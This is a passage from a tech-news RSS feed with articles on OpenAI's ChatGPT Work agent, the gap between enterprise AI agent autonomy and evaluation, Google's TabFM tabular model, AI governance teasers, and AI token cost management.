href="https://chatgpt.com/pricing/?utm_source=google&amp;utm_medium=paid_search&amp;utm_campaign=GOOG_C_SEM_GBR_Premium_CHT_BAU_ACQ_PER_MIX_ALL_NAMER_US_EN_081125&amp;c_id=22874197666&amp;c_agid=184333759620&amp;c_crid=778419668389&amp;c_kwid=kwd-1931160859103&amp;c_ims=&amp;c_pms=9061275&amp;c_nw=g&amp;c_dvc=c&amp;gad_source=1&amp;gad_campaignid=22874197666&amp;gbraid=0AAAAA-I0E5eVxMdRuuMlOhjqMjAi2KCBS&amp;gclid=Cj0KCQjwsMLSBhD9ARIsAIpUTDoJ61xQZv3XpwtAkZ20Et-Y9TM9_exet3Bh9O9h2kxVcpfmgHkyx68aAlw-EALw_wcB">Pro, Enterprise, and Edu users</a>, and will expand to Plus and Business users over the next few days. In the interview, Geri emphasized that the availability of the product to Plus subscribers — not just premium tiers — is central to OpenAI's strategy. "It's accessible to all paid plans, including Plus users, which in my opinion is a really big feat, and really part of that OpenAI mission, which is about bringing all this power to as many people," he said.</p><h2><b>How MCP plugins connect ChatGPT Work to Slack, Gmail, and GitHub</b></h2><p>The product relies on MCP-based plugins to connect to external services like Gmail, Google Calendar, Slack, and GitHub. When asked whether the plugin architecture is based on the <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol standard</a>, Geri confirmed: "These are all based on MCP." He added that connecting multiple Gmail accounts — a frequent user request — "is definitely on the roadmap."</p><p>The experience is designed to be action-oriented from the first interaction. <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> offers a personalized onboarding flow that surfaces different suggested use cases depending on the user's role. Geri demonstrated how the system, detecting his role as a product manager, immediately suggested tasks like evaluating AI systems, building research artifacts, and managing his calendar. "You can start with a simple task like catch me up on Slack or Teams or read today's calendar," Geri said. He described a scenario where the system reviewed his calendar, identified scheduling conflicts, flagged meetings requiring preparation, and then — on his instruction — declined, accepted, or rescheduled events directly.</p><p>Users can also customize the agent by teaching it their writing style, organizing outputs into projects, and — in a lighter touch — choosing a virtual pet that accompanies them in the interface. The interface also introduces a hosted website feature that allows users to build and share interactive sites directly through ChatGPT Work, turning what would typically be a static slide deck into a dynamic, collaborative artifact. "Now we suddenly have a collaborative interface that's actually more exciting and more accessible than a slide deck, which has all these formatting restrictions," Geri said.</p><h2><b>Scheduling 10 bug bashes at once: what agentic productivity looks like in practice</b></h2><p>Geri's own usage of <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> illustrates the breadth of tasks the system can handle. In the run-up to the product's launch, he needed to organize pre-release testing sessions — known internally as "bug bashes" — across dozens of features and team members.</p><p>"I just come to ChatGPT Work and say, 'Set up a bug bash for all the distinct features in ChatGPT Work. Add all the people that worked on that feature,' and it can check Slack, it can check GitHub, it can check Docs, and find a time that works for the four highest contributors to that feature," Geri said. "It went and scheduled 10 bug bashes, all coordinated across all those different people. That would have taken me 30 minutes at least."</p><p>But Geri pushed back against the characterization that <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> is limited to rote administrative work. He described using it for analytically complex tasks like identifying the biggest causes of user churn for specific product features and generating product solutions — work he said would previously have taken months. "Things that we would have spent three months doing, we can now spend a week doing — and do much more, and make a much better product," Geri said. "Bugs that we would have found three or four weeks from now, we can now find within two days and fix for our users."</p><p>He also described handing off the tedium of product testing itself. "It used to be that even though like the most interesting part of my job is like what to test, I would actually end up having to spend most of my job doing the testing, which is like me taking a mouse and like clicking on the same thing over and over again, like five times," Geri said. "Instead, now I can define what do we want to test, and ChatGPT Work or Codex can actually go test it for me, deliver me that bug report, and then we can work on fixing that bug."</p><h2><b>What OpenAI says about data privacy when AI reads your Slack and email</b></h2><p>When pressed on data privacy concerns — given that ChatGPT Work pulls sensitive information from workplace tools like Slack, Google Drive, and email — Geri said privacy "is incredibly important, and the most important part of this is it's always in the user's control."</p><p>He pointed to OpenAI's existing enterprise security infrastructure, noting that "enterprise accounts have ZDR, and users can always opt out of letting their conversations help improve future models, which many users do." The comment aligns with assurances OpenAI made when it first launched ChatGPT Enterprise in August 2023, when the company wrote in a blog post that it does "<a href="https://openai.com/index/introducing-chatgpt-enterprise/">not train on your business data or conversations</a>."</p><p>The privacy question carries additional weight now because of the sheer volume of sensitive workplace data ChatGPT Work is designed to access. Unlike a chatbot session where a user voluntarily pastes text into a prompt, ChatGPT Work actively reaches into connected systems — reading Slack messages, scanning calendar invitations, pulling GitHub commit histories — to assemble context for its tasks. That represents a fundamentally different data surface area than anything OpenAI has offered before, and one that enterprise security teams will scrutinize carefully before granting access.</p><h2><b>ChatGPT Work enters a three-way arms race with Anthropic and Microsoft</b></h2><p>ChatGPT Work lands squarely in the middle of what has become the defining competitive battlefield in enterprise AI: the race to build autonomous workplace agents that can go beyond generating text and actually execute tasks.</p><p>The product arrives months after Anthropic took <a href="https://claude.com/product/cowork">Claude Cowork</a> out of preview and into general availability in April, bringing its AI agent to web and mobile platforms aimed at helping enterprise users monitor and manage long-running AI-driven tasks from anywhere. Meanwhile, Microsoft made <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/cowork">Copilot Cowork</a> generally available worldwide on June 16, built in partnership with Anthropic to move beyond chat and into execution. The three products — ChatGPT Work, Claude Cowork, and Microsoft Copilot Cowork — now compete directly for the attention of enterprise IT departments and individual knowledge workers alike.</p><p>The convergence is striking. All three products share a remarkably similar vision: a persistent AI agent running in the cloud that can break complex tasks into steps, connect to workplace tools via plugins, and produce finished outputs rather than just conversational replies. All three work across desktop, web, and mobile.</p><p>What distinguishes OpenAI's approach is its raw consumer distribution advantage. ChatGPT has reached <a href="https://openai.com/index/scaling-ai-for-everyone/">900 million weekly active users</a>, and OpenAI now has <a href="https://openai.com/index/scaling-ai-for-everyone/">50 million paying subscribers</a>. More than 9 million paying business users rely on ChatGPT for work, and 92% of Fortune 500 companies now use ChatGPT. By making ChatGPT Work available to Plus subscribers at $20 a month — not just Enterprise or Pro customers — OpenAI is betting that broad accessibility will drive adoption faster than any competitor can match.</p><h2><b>OpenAI's product manager says AI is a partner, not a replacement — with a caveat</b></h2><p>When asked about the potential impact on the labor market, Geri was careful with his framing. He declined to speak broadly about workforce disruption but offered his personal experience as a product manager whose day-to-day work has been substantially reshaped by the tool.</p><p>"My job is not to schedule bug bashes and find out who contributed to a specific feature. That's a task I do in my job, but that's not my job," Geri said. "My job is to make an amazing product." He described ChatGPT Work as "a partner" and "an extension of me, certainly not a replacement," adding: "Everybody feels far more productive than before, but is also almost working harder than before, because you get to work on all the things you want to work on as opposed to the drudgery around it."</p><p>But Geri was also careful not to minimize the sophistication of the work the agent can handle. "I also don't want to say that it's only doing mundane tasks because, like something like hill climbing retention curves on a given feature is not mundane. It's actually really hard to do," he said. The distinction matters. If <a href="https://openai.com/index/chatgpt-for-your-most-ambitious-work/">ChatGPT Work</a> were merely automating calendar invitations and expense reports, it would be a convenience tool. The fact that Geri describes it compressing three months of analytical product work into a single week suggests something with far greater implications for how teams are structured and staffed.</p><h2><b>An IPO-bound company needs ChatGPT Work to prove enterprise AI can generate revenue</b></h2><p>The timing of ChatGPT Work's launch is impossible to separate from OpenAI's IPO trajectory. The company needs to demonstrate that it can convert its massive consumer user base into durable enterprise revenue — a narrative that becomes significantly more compelling with a product explicitly designed around professional workflows.</p><p>OpenAI said it is generating <a href="https://openai.com/index/accelerating-the-next-phase-ai/">$2 billion in revenue per month</a>, growing four times faster than Alphabet and Meta did at comparable stages, with enterprise now making up more than 40% of revenue and on track to reach parity with consumer by the end of 2026. But OpenAI remains heavily loss-making, and <a href="https://fortune.com/2025/11/26/is-openai-profitable-forecast-data-center-200-billion-shortfall-hsbc/">the company does not expect to reach profitability until around 2030</a>, with internal projections suggesting losses of $14 billion in 2026 alone.</p><p>The competitive dynamics are unprecedented. Anthropic filed for its own IPO on June 1 at a <a href="https://www.reuters.com/business/anthropic-raises-65-billion-now-valued-965-billion-2026-05-28/">$965 billion valuation</a>, setting up simultaneous public listings from the two most prominent AI startups in history. Whether both can sustain their lofty valuations under the scrutiny of public market investors will depend in large part on whether products like ChatGPT Work and Claude Cowork deliver measurable productivity gains to paying enterprise customers.</p><p>The launch also caps a product trajectory that began with <a href="https://chatgpt.com/business/?utm_source=google&amp;utm_medium=paid_search&amp;utm_campaign=GOOG_B_SEM_GBR_Core-Generic_MIX_BAU_ACQ_PER_MIX_ALL_NAMER_US_EN_042826&amp;c_id=23786098075&amp;c_agid=193601180617&amp;c_crid=806361782592&amp;c_kwid=aud-2471394551488:kwd-1933117063409&amp;c_ims=&amp;c_pms=9061275&amp;c_nw=g&amp;c_dvc=c&amp;gad_source=1&amp;gad_campaignid=23786098075&amp;gbraid=0AAAAA-I0E5fOwq9zncww98G13-WJxCPbT&amp;gclid=Cj0KCQjwsMLSBhD9ARIsAIpUTDonc5DPxzLgOO1GFI9yNaazBtf33Yums0oGIg1CR79ZRSiXK0LbcVkaAg9uEALw_wcB">ChatGPT Enterprise</a> in August 2023, accelerated through the release of OpenAI's Operator agent in January 2025, and continued through Operator's deprecation and shutdown on August 31, 2025, when its capabilities were folded into the ChatGPT agent framework. ChatGPT Work is the consolidation of those efforts into a single, unified product — one that pairs <a href="https://openai.com/index/gpt-5-6/">GPT-5.6's three model variants</a> (Sol for power, Luna for speed, and Terra for balanced everyday use) with a persistent cloud environment and an expanding library of MCP plugins.</p><h2><b>The future of work may already be running in the cloud</b></h2><p>When asked whether ChatGPT Work signals a shift toward a new kind of operating system — one where users interact with their computers primarily through an AI agent rather than through traditional mouse-and-keyboard interfaces — Geri stopped short of making sweeping predictions. But he hinted at the direction OpenAI sees ahead.</p><p>"Anybody who has worked with Codex or now ChatGPT Work will realize how exciting it is to interact with your environment and your computer via the agent," he said. "Especially in the desktop app, where the model has access to your entire machine and can interact with websites on your behalf — it's really able to be an extension of you and a real partner, and that certainly feels like the future."</p><p>At the end of the interview, Geri circled back to something personal. "I've never enjoyed work as much as I have in the last month using ChatGPT Work and Codex," he said — a striking admission from a product manager who, until recently, spent a meaningful share of his days clicking through the same interface five times in a row just to see if it would break. OpenAI is now asking 900 million users to believe that feeling scales. For a company weeks away from one of the largest public offerings in history, the answer to that question is worth roughly $850 billion.</p><p>
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<title><![CDATA[Enterprise AI is entering an evaluation gap: Agents are gaining autonomy faster than companies can verify them]]></title>
<description><![CDATA[Enterprise AI teams are giving agents more freedom at the same moment their confidence in automated testing is collapsing.Half of enterprises have deployed an AI agent or LLM feature that passed internal evaluations and yet still caused a customer-facing failure — one in four more than once — acc...]]></description>
<link>https://tsecurity.de/de/3660672/it-nachrichten/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660672/it-nachrichten/enterprise-ai-is-entering-an-evaluation-gap-agents-are-gaining-autonomy-faster-than-companies-can-verify-them/</guid>
<pubDate>Fri, 10 Jul 2026 21:18:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI teams are giving agents more freedom at the same moment their confidence in automated testing is collapsing.</p><p>Half of enterprises have deployed an AI agent or LLM feature that passed internal evaluations and yet still caused a customer-facing failure — one in four more than once — according to the June 2026 VB Pulse survey of 157 qualified enterprise respondents at companies with 100 or more employees.</p><p>The sample is self-selected rather than a probability sample, so the findings should be read as directional, not precise.</p><p>But enterprises are not responding by slowing automation:<b> 66% of respondents already permit some production deployment without human review </b>or are building systems intended to do so within the next 12 months. Only 5% say they fully trust the automated evaluations that would make those release decisions.</p><p>That mismatch is the evaluation gap: the autonomy ceiling is rising faster than the assurance beneath it. </p><p>It also fits a broader thesis that will be explored at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>: enterprises ship agents first, while the control layers around identity, evaluation, cost, context and orchestration are arriving later. The next year will be a retrofit cycle, with buyers shifting budget toward the systems that make agentic deployments governable and dependable.</p><h2>Why a passing evaluation is not a working agent</h2><p>Traditional software testing usually asks whether a defined input produces an expected output. Agent testing is harder because the system may choose its own sequence of steps, call tools, retrieve data, alter state and respond differently from one run to the next.</p><p>An agent can make several individually plausible decisions and still reach the wrong result. It may retrieve the correct account but update the wrong field. It may draft a valid refund request but send it without approval. It may call five tools successfully before a sixth step leaks sensitive information or leaves a workflow incomplete.</p><p>The survey shows enterprises already recognize this limitation. <b>The most common reason for distrusting automated evaluation is poor alignment with real-world outcomes, cited by 29% of respondents.</b> Bias or inconsistency follows at 21%, lack of explainability at 18%, and data leakage or privacy concerns at 17%.</p><p>That hierarchy matters. Enterprises are saying the score often does not predict what happens when a customer, employee or business process encounters the agent in production — not that automated scoring is too slow or expensive.</p><p><a href="https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf">NIST makes a similar point in its Generative AI Profile</a>: measurements gathered in controlled environments may not transfer cleanly to deployment because behavior changes with prompts, users, context and operating conditions. Its guidance calls for field testing, post-deployment monitoring and clear processes for escalating failures.</p><div></div><h2>Capability is not consistency</h2><p>A single successful run proves that an agent can complete a task. It does not prove that it will complete the task reliably.</p><p><a href="https://www.anthropic.com/engineering/demystifying-evals-for-ai-agents">Anthropic’s guidance on agent evaluation</a> distinguishes between measuring whether a system succeeds at least once across repeated attempts and whether it succeeds every time. That distinction is essential for customer-facing or operational workflows. A model that occasionally produces an excellent answer may still be unacceptable if the same task fails unpredictably on the next attempt.</p><p>Enterprise teams should therefore treat repeatability as a first-class metric. That means running the same scenario multiple times, varying phrasing and context, testing tool failures, and measuring whether the final business outcome remains correct even when the route changes.</p><p>The evaluation set also has to evolve. Every production incident should become a permanent regression test. Customer escalations, failed tool calls, incorrect approvals and data-handling mistakes should feed back into the pre-deployment suite rather than remaining isolated support cases.</p><h2>Autonomy should expand by risk, not by ambition</h2><p>The survey does not imply that every agent action should require a person. Human review cannot scale across millions of low-consequence decisions.</p><p>But zero-human operation should be earned by demonstrated reliability and bounded by the consequences of failure.</p><p>Low-risk actions such as drafting internal summaries or categorizing documents can tolerate broader autonomy. Financial transactions, customer communications, code deployment, access-control changes and data deletion need stricter thresholds, repeated consistency tests, policy checks, rollback mechanisms and clear human escalation paths.</p><p>The risk isn't evenly distributed by company size, either. Larger enterprises — those with 2,500 or more employees — are moving toward zero-human deployment fastest, at 70% versus 64% for smaller companies, and they're also shipping more agents that go on to fail a customer, at 54% versus 48%. </p><p>That is the warning for enterprise leaders. Removing the human from the loop does not remove uncertainty. Without stronger assurance, it converts uncertainty into an automated production decision.</p><p>The market will keep pushing toward greater autonomy because the economic incentive is real. The organizations best positioned won't be those that remove people fastest — they'll be the ones that treat repeatability and regression testing as seriously as deployment speed.</p>]]></content:encoded>
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<title><![CDATA[Google's TabFM skips per-dataset training and still predicts on tables it's never seen]]></title>
<description><![CDATA[The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines...]]></description>
<link>https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660555/it-nachrichten/googles-tabfm-skips-per-dataset-training-and-still-predicts-on-tables-its-never-seen/</guid>
<pubDate>Fri, 10 Jul 2026 20:03:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The vast majority of business data is tabular — living in data warehouses, CRMs, and financial ledgers — yet building a reliable model from it still means training a new one from scratch for every dataset, then maintaining hyperparameter tuning loops, feature engineering, and retraining pipelines to fight data drift. Google Research is proposing a way around that: <a href="https://research.google/blog/introducing-tabfm-a-zero-shot-foundation-model-for-tabular-data/">a new foundation model called TabFM</a> that treats tabular prediction as an in-context learning problem instead.</p><p>It can generate predictions for a new, unseen table in a single forward pass. For enterprise developers and AI engineers, this reduces the time-to-production from weeks of pipeline engineering to a single API call.</p><h2>The challenge with traditional ML</h2><p>To extract reliable predictions from a gradient-boosted tree, data scientists must build and maintain complex data pipelines. They have to clean messy inputs, impute missing values, encode categorical variables into numerical formats, and engineer custom feature crosses.</p><p>Once the data is ready, they must run repetitive hyperparameter optimization loops, searching across learning rates, tree depths, subsampling ratios, and regularization grids to find the best configuration. </p><p>Once deployed, these traditional models "incur ongoing operational debt through data drift monitoring and retraining pipelines to stay accurate," Weihao Kong, Research Scientist at Google Research, told VentureBeat.</p><p>Meanwhile, the rest of the AI industry has moved on. Generative AI models for text and computer vision have seamlessly shifted to zero-shot inference, where a model can perform a completely new task simply by being prompted with context. </p><p>Large language models (LLMs) already excel at <a href="https://venturebeat.com/business/fine-tuning-vs-in-context-learning-new-research-guides-better-llm-customization-for-real-world-tasks">in-context learning</a>, so why can't we just feed tables into an off-the-shelf LLM?</p><p>Because LLMs are trained on natural language rather than structured data, they struggle to process tables directly. First, their context limits are exhausted quickly by medium-sized tables containing just a few thousand rows and hundreds of columns. Second, LLMs suffer from tokenization inefficiency, awkwardly splitting numerical values and destroying mathematical precision. Finally, they suffer from structural blindness. When a 2D table is serialized as a 1D text string, LLMs lose track of which value belongs to which row and column as the table grows. </p><p>"That's why, today, it is far more effective to use an LLM to write the code that handles feature engineering and calls XGBoost than to ask the LLM to read the table itself," Kong said.</p><h2>What is TabFM?</h2><p>To run inference with TabFM, you do not update any model weights. Instead, you take your historical examples (the training rows with their known labels) and your target rows (the new data you want to predict) and pass them to the model as a single, unified prompt. The model learns to interpret the relationships between columns and rows directly from this context at runtime.</p><p>For example, consider an enterprise analyst trying to predict customer churn. Instead of building a bespoke data pipeline and training an XGBoost model, they can simply pass a sample of historical user session data alongside a new, active session into TabFM. In one forward pass, the model returns an instant churn probability. </p><p>TabFM overcomes the limitations of LLMs by treating the data as a grid, preserving its structural integrity without forcing it into a single-dimensional text string.</p><p>To effectively process diverse tabular structures while enabling scalable zero-shot prediction, TabFM synthesizes the strengths of earlier experimental architectures, TabPFN and TabICL. <a href="https://github.com/PriorLabs/tabpfn">TabPFN</a>, developed by Prior Labs, first proved that a transformer architecture could perform zero-shot classification on small tables, though it struggled to scale computationally to larger datasets. </p><p>Later, <a href="https://dl.acm.org/doi/10.5555/3780338.3782366">TabICL</a>, developed by France's National Research Institute for Digital Science and Technology, addressed this bottleneck by introducing row compression, allowing in-context learning to efficiently process much larger tables. </p><p>TabFM combines TabPFN's deep feature contextualization with TabICL's efficient compression into a novel hybrid design built on three key mechanisms:</p><p><b>1. Alternating row and column attention:</b> The raw table is first processed through a multilayer attention module that alternates across both columns (features) and rows (examples). By continuously attending across these two dimensions, the model natively captures complex feature interactions. This deep contextualization does the heavy lifting that would usually require tedious manual feature crafting by data scientists.</p><p><b>2. Row compression:</b> Following this contextualization, the cross-attended information for each row is compressed into a single, dense vector representation. TabICL pioneered this by using CLS tokens to compress a row's rich information into one vector, "in contrast to TabPFN v2, v2.5, and v2.6, which attend over the full cell grid throughout the network," Kong explained. This drastically shrinks the computational footprint.</p><p><b>3. In-context learning (ICL):</b> A causal Transformer then operates on this sequence of compressed embeddings. This Transformer model uses the attention mechanism of TabICL to attend over these dense row vectors, drastically reducing the computation cost and allowing the model to process large datasets efficiently.</p><p>A major selling point of TabFM is its pretraining recipe. The model was trained entirely on hundreds of millions of synthetic datasets. These datasets were dynamically generated using structural causal models (SCMs) that incorporate a wide variety of random functions. By training exclusively on synthetic SCMs, TabFM learned the fundamental mathematical priors of how tabular features interact without ingesting real-world, confidential CSV files.</p><h2>TabFM in action</h2><p>To test the model's capabilities, Google researchers benchmarked TabFM on TabArena, a comprehensive evaluation suite spanning 51 diverse tabular datasets across 38 classification and 13 regression tasks.</p><p>On these public benchmarks, TabFM's zero-shot predictions already match or beat heavily tuned supervised baselines. However, Google is careful to note that this does not automatically mean TabFM will universally dethrone bespoke, hyper-optimized production models on every enterprise workload.</p><p>"Instead of replacing hyper-optimized production models, the true practical business value it unlocks for lean engineering teams is velocity," Kong said. "It allows data analysts and backend engineers to instantly spin up high-quality baseline models without a dedicated data science team managing a complex lifecycle."</p><p>For advanced practitioners looking to squeeze out maximum accuracy, the research team also introduced a "TabFM-Ensemble" configuration. By running the model through 32 distinct variations and blending the results, TabFM pushes the performance even further. </p><h2>Getting started, trade-offs, and the cloud future</h2><p>The shift to in-context learning for tables introduces a new economic trade-off that engineering teams must consider. </p><p>With traditional algorithms, training is slow and expensive, but inference is lightning-fast and cheap. TabFM flips this dynamic. While training time drops to zero, inference becomes significantly heavier. Because the model must process the entire historical dataset as context during every single prediction, it requires more compute and memory at runtime. </p><p>In this new paradigm, "traditional machine learning training becomes the 'prefill' phase (KV caching) in the context window," Kong said. While this prefill cost is steep, it is paid only once per table, and the cache is reused across subsequent queries. "The catch is prediction latency, which no amount of caching removes," Kong added. Every new prediction requires a pass through a large transformer. "Any production API requiring single-digit-millisecond response times cannot tolerate TabFM's forward-pass overhead."</p><p>For developers looking to evaluate the model today, the barrier to entry is low. Google designed TabFM as a drop-in replacement for traditional ML workflows, offering a scikit-learn compatible API (TabFMClassifier and TabFMRegressor). It natively handles mixed numerical and categorical columns, works directly with pandas DataFrames, and requires no manual ordinal encoders or numerical scalers. The library supports both JAX and PyTorch backends.</p><p>However, enterprise teams need to be aware of current limitations and licensing restrictions. The model architecture has a hard limit of 10 output classes for classification tasks, and it is optimized for tables with up to 500 features. More importantly, while Google released the <a href="https://github.com/google-research/tabfm">underlying codebase</a> under the permissive Apache 2.0 license, the pre-trained model weights are published on <a href="https://huggingface.co/google/tabfm-1.0.0-pytorch">Hugging Face</a> under a strict tabfm-non-commercial-v1.0 license. Developers can evaluate the model internally, but it cannot be deployed in commercial products yet.</p><p>Looking ahead, Google is addressing the commercial deployment friction through its cloud ecosystem. TabFM is being integrated directly into Google BigQuery, allowing analysts to run zero-shot predictions natively via an “AI.PREDICT” command. By putting foundation model inference right next to the data warehouse, TabFM could soon make complex tabular machine learning as accessible as a basic database query.</p><p>In practice, TabFM shines in rapid prototyping, high data drift environments, and small to medium-sized datasets under 100,000 rows. Conversely, teams should stick to traditional models for strict, ultra-low latency APIs, or massive tables exceeding one million rows, which currently require aggressive row sampling that degrades the foundation model's competitive advantage.</p>]]></content:encoded>
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<title><![CDATA[AI Governance Rollout: How to Move From Policy to Practice]]></title>
<description><![CDATA[AI Governance Has Entered Its Implementation Era 
AI governance has had a very good few years on paper.]]></description>
<link>https://tsecurity.de/de/3659794/it-security-nachrichten/ai-governance-rollout-how-to-move-from-policy-to-practice/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659794/it-security-nachrichten/ai-governance-rollout-how-to-move-from-policy-to-practice/</guid>
<pubDate>Fri, 10 Jul 2026 15:09:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://cybermaniacs.com/cm-blog/ai-governance-rollout-how-to-move-from-policy-to-practice" title="" class="hs-featured-image-link"> <img src="https://cybermaniacs.com/hubfs/Blog%20Header%20Graphics/The%20funny%20thing%20about%20Safety%20Training_Header.png" alt="AI Governance Rollout: How to Move From Policy to Practice" class="hs-featured-image"> </a> 
</div> 
<h2><strong><span>AI Governance Has Entered Its Implementation Era</span></strong></h2> 
<p><span>AI governance has had a very good few years on paper.</span></p>]]></content:encoded>
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<title><![CDATA[CREST launches AI Charter for cybersecurity providers. Here’s why trusted, governed AI matters]]></title>
<description><![CDATA[Image Credit: Rawpixel via Magnific Learn More /… Image Credit: IfOnlyCommunications Latest Posts from SECURUS...
The post CREST launches AI Charter for cybersecurity providers. Here’s why trusted, governed AI matters appeared first on SME Cybersecurity News.]]></description>
<link>https://tsecurity.de/de/3659388/it-security-nachrichten/crest-launches-ai-charter-for-cybersecurity-providers-heres-why-trusted-governed-ai-matters/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659388/it-security-nachrichten/crest-launches-ai-charter-for-cybersecurity-providers-heres-why-trusted-governed-ai-matters/</guid>
<pubDate>Fri, 10 Jul 2026 12:23:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="150" height="150" src="https://smecyberinsights.co.uk/wp-content/uploads/2026/07/Crest-Best-Practice-150x150.jpg" class="attachment-thumbnail size-thumbnail wp-post-image" alt="CREST AI Charter: CREST launches AI Charter for cybersecurity providers. Here’s why trusted, governed AI matters" decoding="async" loading="lazy">Image Credit: Rawpixel via Magnific Learn More /… Image Credit: IfOnlyCommunications Latest Posts from SECURUS...</p>
<p>The post <a rel="nofollow" href="https://smecyberinsights.co.uk/index.php/2026/07/10/crest-ai-charter-trusted-ai-cybersecurity-smes/">CREST launches AI Charter for cybersecurity providers. Here’s why trusted, governed AI matters</a> appeared first on <a rel="nofollow" href="https://smecyberinsights.co.uk/">SME Cybersecurity News</a>.</p>]]></content:encoded>
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<title><![CDATA[Relearning cloud lessons from runaway AI token costs]]></title>
<description><![CDATA[Every few years, some new technology comes along that promises to revolutionize how we do business, and enterprises pile in headfirst without asking how much it’s going to cost. I’ve been watching this movie for 30 years. Cloud computing was the first act. Now it’s generative AI, and the bill is ...]]></description>
<link>https://tsecurity.de/de/3659187/ai-nachrichten/relearning-cloud-lessons-from-runaway-ai-token-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659187/ai-nachrichten/relearning-cloud-lessons-from-runaway-ai-token-costs/</guid>
<pubDate>Fri, 10 Jul 2026 11:03:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Every few years, some new technology comes along that promises to revolutionize how we do business, and enterprises pile in headfirst without asking how much it’s going to cost. I’ve been watching this movie for 30 years. <a href="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html" data-type="link" data-id="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html">Cloud computing</a> was the first act. Now it’s <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a>, and the bill is arriving faster than anyone expected.</p>



<p>The latest data shows that many enterprises are seeing their AI token costs run 10 to 20 times higher than initial projections. That’s not a rounding error. That’s a strategic miscalculation that CFOs are starting to notice, and they’re not happy about it.</p>



<p>Here’s the thing: This crisis was entirely predictable. We’ve been through this before with cloud computing, and we learned some hard lessons about what happens when you deploy technology without rigorous cost management. The good news is that enterprises are finally applying those lessons, reaching back to their cloud finops playbooks to wrangle this new breed of spending.</p>



<h2 class="wp-block-heading">The 50x problem</h2>



<p>Let me explain the scale of what’s happening. Goldman Sachs has estimated that <a href="https://www.infoworld.com/article/3611465/how-ai-agents-will-transform-the-future-of-work.html">AI agents</a> consume roughly 50 times more computing power per task than traditional prompt-based chatbots. That’s a fundamental shift in how resources get consumed. When you multiply that across an enterprise that’s deploying dozens or hundreds of AI agents, the math gets ugly fast.</p>



<p>The token problem compounds because AI costs are inherently variable. Unlike traditional software licensing or infrastructure contracts, you pay per token, and per-token usage can fluctuate wildly based on user behavior, query complexity, and the sheer volume of requests flowing through these systems. This is exactly the same problem we faced with cloud computing. Every time someone spins up a new instance or stores data in the wrong tier, the bill goes up.</p>



<p>Enterprises expected to deploy AI and see costs stabilize. Instead, costs are climbing month after month, often exceeding projections by an order of magnitude. The business case that looked compelling in the conference room is looking considerably less attractive in the finance committee.</p>



<h2 class="wp-block-heading">Lessons from the cloud playbook</h2>



<p>Here’s where it gets interesting. Cloud providers and the managed service providers who work with them have spent the better part of two decades building disciplines around financial operations—<a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">finops</a>, if you want to use the buzzword. These are the practices, tools, and organizational structures that make cloud spending visible, controllable, and ultimately justifiable to the business.</p>



<p>Those same disciplines are now being applied to AI token costs, and enterprises with mature finops programs are faring better than those without. The playbook is essentially the same: </p>



<ul class="wp-block-list">
<li>Make spending visible.</li>



<li>Attribute costs to the right teams.</li>



<li>Set guardrails and alerts.</li>



<li>Create feedback loops that encourage efficient behavior.</li>
</ul>



<p>Companies like Priceline have deployed dashboards that provide executives with real-time visibility into token consumption, with monthly reports delivered directly to the CFO and CTO. Smartsheet has implemented similar approaches, providing department-level dashboards that let managers see exactly how their teams are consuming tokens, with automated alerts when consumption approaches predefined thresholds.</p>



<p>The accountability piece is critical. When developers and business users can see exactly how their AI usage translates to dollars, they tend to make better decisions about which models to use, how to structure prompts, and when to rely on human judgment instead of AI processing.</p>



<h2 class="wp-block-heading">The show-back revolution</h2>



<p>One of the most effective techniques emerging from this crisis is the “show back” approach to AI cost management. Rather than simply reporting costs to individual departments, companies are now attributing AI spending to the teams and individuals responsible for driving that consumption. This creates accountability without the organizational complexity of full chargeback models.</p>



<p>OpenText has reported that implementing show-back and chargeback approaches can reduce token costs by 20% to 30% within a few months. That’s not trivial. If you’re spending $5 million a month on AI tokens, that’s a $1.5 million savings just by making people aware of what they’re spending.</p>



<p>The mechanism is straightforward: When development leaders understand that their team has consumed $200,000 in tokens this month, they start asking questions. Why are we using the most expensive model for that task? What if a smaller model could handle 80% of these queries? Are prompts being repeated unnecessarily? These questions lead to optimization, and optimization leads to savings.</p>



<h2 class="wp-block-heading">Model smarts</h2>



<p>Another lesson from the cloud experience is that the most expensive option is rarely the best option. This sounds obvious, but organizations tend to default to the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">largest, most capable AI model</a> for every task, regardless of whether that capability is actually required.</p>



